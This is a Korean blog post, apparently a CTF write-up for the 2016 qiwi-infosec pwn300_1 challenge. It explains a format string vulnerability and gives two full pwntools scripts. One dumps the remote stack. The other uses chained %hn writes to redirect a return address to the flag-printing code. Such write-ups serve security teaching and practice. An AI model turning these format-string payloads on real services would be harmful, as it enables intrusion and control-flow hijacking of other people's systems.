튜기's blogggg

2016 qiwi-infosec CTF pwn300_1

by St1tch



1등으로 품!


---------------------------------------------------------------------------------------------------------------------


실행을 시키면 무한루프를 돌면서 입력값을 받고, 입력한 값을 출력할 때 fsb취약점이 있는것을 확인할 수 있다.



문제에도 적혀있다시피 fsb버그를 횟수제한없이 할 수 있기때문에 문제를 푸는 방법은 다양하다.

나는 문제에 주어진 조건을 이용해서 간단한 방법으로 풀었다.


이 부분이 무한루프를 돌면서 입력값을 받고 출력을 해주는 부분이다.



while문 안에서 호출되는 함수들을 살펴보면 위의 함수가 있다.

입력을 받고 출력을 해주면서 fsb버그가 발생하는 것을 알 수 있고, 아래의 if(result) 부분은 flag.txt를 읽어서 출력해주는 부분이다.


따라서 result가 1이 되면 flag를 읽을 수 있다.

result가 결정되는 함수 sub_8048f64를 분석해야 하는데, 

나는 번거롭게 함수를 분석하지 않고 ret를 fsb버그로 바꾸는 방법을 이용했다.

물론 ret는 if문 안의 주소로 써버리면 바로 flag를 읽을 수 있다.


일단 서버의 스택주소를 정확히 알아야하기 때문에, 스택을 적당히 덤프했다.



from pwn import *
import struct
import string

context.log_level = "warn"

def dump() :
    def make_xxd(d):
        p = lambda x : struct.pack('>I', x)
        try:
            tmp = d.decode('hex')
            if not(all([c in string.printable for c in tmp])):
                return p(int(d, 16))
            else:
                return p(int(d, 16))[::-1]
        except:
            return p(int(d, 16))

    fd = open('dump.txt', 'w')
    fd2 = open('dump.xxd', 'wb')
    idx = 1
    s = remote('138.201.98.61', 5555)
    print s.recvuntil('\n')
    while True :
        try:
            pay = 'START%{0}$x,%{1}$x,%{2}$x,%{3}$x,%{4}$xEND'.format(idx,idx+1,idx+2,idx+3,idx+4)
            s.sendline(pay)

            dat = s.recvline()
            dat = dat.split('START')[1].split('END')[0]
            dat = dat.split(',')

            fmt = ''
            for i,d in enumerate(dat):
                fmt += (str(idx+i) + ' : ' + d).ljust(15) + '\t\t' + repr(p32(int(d, 16))) + '\n'
            fd.write(fmt)
            print fmt

            for d in dat:
                fd2.write(make_xxd(d))

            idx += 5
            sleep(0.05)
        except:
            break

    s.close()
    fd.close()
    fd2.close()

if __name__ == '__main__' :
    dump()

위 코드를 작성해서 스택을 덤프한 후 스택을 분석했다.




우선 ret가 어딘지 알아내야하고, 그 ret의 주소를 알아내야한다.

그리고 stack을 살펴보면 내가 입력한값이 스택에 들어가지 않기 때문에, 적당하게 연결되는 주소2개정도를 찾아내야한다.




gdb의 스택과 덤프한스택을 비교하면 11번 offset이 sub_8048DAE 함수의 ret인것을 알 수 있다.

ret주소를 알아내는 건 환경변수 쪽에서 연결되있는 스택2개를 찾아서 이용했다.

(82번째 offset에 있는 값이 83번째 offset의 주소)


이제 위 과정을 통해 ret의 stack주소와 offset을 알아냈다.

이제 해야할것은 ret주소 0x08048da8 를 flag출력되는 부분인 

0x08048DEE로 overwrite해야하는데 앞에 말햇다 시피 내가 입력한 값은 스택에 박히지 않는다.


따라서 적절하게 연결되있는 스택을 찾아야 했다.

예를 들어 a의 값이 b의 주소이고, b의 값은 스택주소인 연결고리가 필요하다.


gdb stack


dump stack


착한마음을 가지고 스택을 비교해보면 18번과 22번 offset의 값이 30번째 offset의 주소인것을 알 수있고

30번째 offset의 값은 스택주소가 들어가 있다.


이제 필요한 껀떡지는 다 찾았으니 30번째 stack의 하위2바이트를 ret주소 하위2바이트로 overwrite하고

ret의 하위 2바이트를 flag출력되는 주소의 하위2바이트로 overwrite하면 플래그가 출력된다.



from pwn import *

context.log_level = 'warn'

s = remote('138.201.98.61', 5555)

def solver() :
    print s.recvuntil('task.\n')

    print '[+] ret addr leak'
    s.sendline('%82$p')
    stack = eval(s.recvline().strip())
    ret = stack - ((83-11) * 4)
    print hex(ret)

    print '[+] before check target stack addr'
    s.sendline('%30$p')
    print s.recvline().strip()

    print '[+] overwrite target stack addr'
    ret_2 = int(hex(ret)[-4:], 16)
    pay = '%{0}c%18$hnBBBB'.format(ret_2)
    s.sendline(pay)
    s.recvuntil('BBBB\n')

    print '[+] after check target stack addr'
    s.sendline('%30$p')
    print s.recvline().strip()

    #trigger addr : 08048DEE
    print '[+] overwrite ret 2byte'
    pay = '%{0}c%30$hnAAAA'.format(int('8dee', 16))
    s.sendline(pay)
    s.recvuntil('AAAA\n')

    flag = s.recv(128)
    print 'flag is', flag
    s.close()

if __name__ == '__main__' :
    solver()
'''
11 -> sub_8048DAE ret
47 -> main_ret
82 -> &83
%82$p - 4*(83-11) -> target
18 -> &30
'''




블로그의 정보

튜기's blogg(st1tch)

St1tch

활동하기